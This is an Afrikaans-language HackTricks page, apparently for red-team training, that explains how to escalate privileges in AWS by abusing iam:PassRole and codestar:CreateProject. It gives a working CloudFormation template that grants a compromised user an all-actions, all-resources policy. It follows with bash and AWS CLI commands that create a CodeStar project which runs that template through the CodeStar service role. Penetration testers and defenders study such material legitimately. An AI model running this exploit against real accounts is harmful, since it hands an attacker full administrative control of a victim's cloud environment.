iam:PassRole, codestar:CreateProject

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Met hierdie toestemmings kan jy 'n codestar IAM Role misbruik om arbitrêre aksies uit te voer deur middel van 'n cloudformation-sjabloon.

Om hiervan gebruik te maak, moet jy 'n S3-emmer skep wat toeganklik is vanuit die aangevalle rekening. Laai 'n lêer genaamd toolchain.json op. Hierdie lêer moet die cloudformation-sjabloon-uitbuiting bevat. Die volgende een kan gebruik word om 'n bestuurde beleid aan 'n gebruiker onder jou beheer toe te ken en hom administratiewe toestemmings te gee:

toolchain.json
{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": [
"<compromised username>"
]
}
}
}
}

Laai ook hierdie leë zip lêer na die emmer:

Onthou dat die emmer met beide lêers toeganklik moet wees deur die slagofferrekening.

Met beide dinge opgelaai kan jy nou voortgaan met die uitbuiting deur 'n codestar-projek te skep:

PROJECT_NAME="supercodestar"

# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH

# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH

# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH

Hierdie uitbuit is gebaseer op die Pacu uitbuit van hierdie voorregte: https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 Daar kan jy 'n variasie vind om 'n administratiewe bestuurbeleid vir 'n rol te skep in plaas van vir 'n gebruiker.

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated